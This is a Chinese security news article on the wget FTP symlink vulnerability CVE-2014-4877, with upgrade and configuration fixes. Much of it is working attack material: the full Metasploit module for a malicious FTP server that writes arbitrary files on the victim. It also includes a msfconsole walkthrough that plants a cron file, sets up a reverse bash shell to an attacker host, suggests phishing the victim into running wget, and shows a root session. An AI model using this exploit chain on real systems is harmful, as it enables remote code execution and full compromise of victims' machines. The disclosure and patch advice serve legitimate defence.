Wget是一款从用于从网络上下载文件的开源工具,使用非常广泛。然而现在,它却出现了一个严重的安全漏洞:当Wget向FTP服务器请求递归目录时,存在一个关于软链接的漏洞,它将允许黑客任意创建文件、目录或软链接(符号链接)。
Wget也是一款命令行工具,它能通过HTTP、HTTPS以及FTP等主流协议下载WEB上的文件。Wget可以安装在任何Unix系统上,也可以在许多的系统中相互移植,其中包括win系统,Mac OS X、OpenVMS、MorphOS以及AmigaOS。
漏洞描述及威胁
Wget容易受软链接攻击影响,当它通过FTP下载一个递归目录时,它就可能被利用来创建文件、目录及符号链接,并设置权限。
首次上报该漏洞给Wget开源项目组的人是Rapid7的首席安全官HD Moore,这个漏洞被命名为CVE-2014-4877。
由于几乎每一台Linux服务器上都安装了Wget应用,甚至不少OS X的机器也装有Wget(虽然不是默认安装),因此该漏洞影响范围非常巨大。通过系统级应用(如cron)或用户级应用(如bash profile文件)以及SSH认证key,黑客能利用该漏洞发起远程代码执行攻击。
漏洞测试
Metasploit已经推出该漏洞的利用测试代码(Exp for web),安全研究人员可以用它来测试这个漏洞。
修复建议
Moore说:“想要彻底解决问题,请升级到Wget1.16版本或打上CVE-2014-4877的兼容补丁。”最新的Wget1.16版本中已经修复了此漏洞,这个版本禁用了默认配置“允许本地创建软链接”,不会再遍历他们,而是检索软链接指向的真实文件。
如果不做Wget版本升级,就需要在使用Wget时,谨慎使用–retr-symlinks选项。我们需要改变“retr-symlinks”选项默认的开关策略,阻止本地创建软链接。
除了需要改动那些“调用Wget的脚本或程序”中的参数外,还需要在Wget的配置文件中(如全局配置文件“/etc/wgetrc”,或者用户配置文件“~/.wgetrc”)加入配置选项“retr-symlinks=on”。
各大安全厂商的评析
绿盟科技:GNU Wget符号链接漏洞(CVE-2014-4877)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer include Msf::Auxiliary::Report def initialize super( 'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access', 'Description' => %q{ This module exploits a vulnerability in Wget when used in recursive (-r) mode with a FTP server as a destination. A symlink is used to allow arbitrary writes to the target's filesystem. To specify content for the file, use the "file:/path" syntax for the TARGET_DATA option. Tested successfully with wget 1.14. Versions prior to 1.16 are presumed vulnerable. }, 'Author' => ['hdm'], 'License' => MSF_LICENSE, 'Actions' => [['Service']], 'PassiveActions' => ['Service'], 'References' => [ [ 'CVE', '2014-4877'], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ] ], 'DefaultAction' => 'Service', 'DisclosureDate' => 'Oct 27 2014' ) register_options( [ OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]), OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]), OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121]) ], self.class) @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8) end def run my_address = Rex::Socket.source_address print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/") exploit() end def on_client_command_user(c,arg) @state[c][:user] = arg c.put "331 User name okay, need password.../r/n" end def on_client_command_pass(c,arg) @state[c][:pass] = arg c.put "230 Login OK/r/n" @state[c][:auth] = true print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...") end def on_client_command_retr(c,arg) print_status("#{@state[c][:name]} -> RETR #{arg}") if not @state[c][:auth] c.put "500 Access denied/r/n" return end unless arg.index(::File.basename(datastore['TARGET_FILE'])) c.put "550 File does not exist/r/n" return end conn = establish_data_connection(c) if not conn c.put("425 Can't build data connection/r/n") return end c.put("150 Opening BINARY mode data connection for #{arg}/r/n") conn.put(datastore['TARGET_DATA']) c.put("226 Transfer complete./r/n") conn.close print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}") end def on_client_command_list(c,arg) print_status("#{@state[c][:name]} -> LIST #{arg}") if not @state[c][:auth] c.put "500 Access denied/r/n" return end conn = establish_data_connection(c) if not conn c.put("425 Can't build data connection/r/n") return end pwd = @state[c][:cwd] buf = '' dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y") unless pwd.index(@fakedir) buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}/r/n" buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}/r/n" else buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}/r/n" end c.put("150 Opening ASCII mode data connection for /bin/ls/r/n") conn.put("total #{buf.length}/r/n" + buf) c.put("226 Transfer complete./r/n") conn.close end def on_client_command_size(c,arg) if not @state[c][:auth] c.put "500 Access denied/r/n" return end c.put("213 #{datastore['TARGET_DATA'].length}/r/n") end def on_client_command_cwd(c,arg) print_status("#{@state[c][:name]} -> CWD #{arg}") if not @state[c][:auth] c.put "500 Access denied/r/n" return end upath = "/" npath = ::File.join(@state[c][:cwd], arg) bpath = npath[upath.length, npath.length - upath.length] # Check for traversal above the root directory if not (npath[0, upath.length] == upath or bpath == '') bpath = '/' end bpath = '/' if bpath == '' @state[c][:cwd] = bpath c.put "250 CWD command successful./r/n" end end
360网络攻防实验室:CVE-2014-4877漏洞分析与验证(小编:其中实验过程的验证图较多,就不在这里贴出。)
Metasploit工具利用方法:
# msfconsole msf> use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.0.4 msf exploit(handler) > set LPORT 4444 msf exploit(handler) > run -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.4:4444 调用利用模块 msf exploit(handler) > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell msf auxiliary(wget_symlink_file_write) > set SRVPORT 21 msf auxiliary(wget_symlink_file_write) > run [+] Targets should run: $ wget -m ftp://192.168.0.4:21/ [*] Server started. 通过钓鱼等手段让目标主机访问:wget -m ftp://192.168.0.4:21/ [*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'... [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> RETR cronshell [+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell [*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500 获取权限进入会话 msf auxiliary(wget_symlink_file_write) > sessions -i 1 [*] Starting interaction with 1... id uid=0(root) gid=0(root) groups=0(root),1001(rvm)
阿里巴巴安全部:CVE-2014-4877 [wget] 分析
FreeBuf结语
本文在漏洞刚出的时候已撰写好,本可以及时发出。但是因为在发文时申请流程不当,导致文章发表被拖延,在这里小编代表个人向大家致歉。另外,希望小编新补充的部分内容对大家有所启发。
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[参考来源http://thehackernews.com,译/FreeBuf小编dawner,转载请注明来自FreeBuf.COM]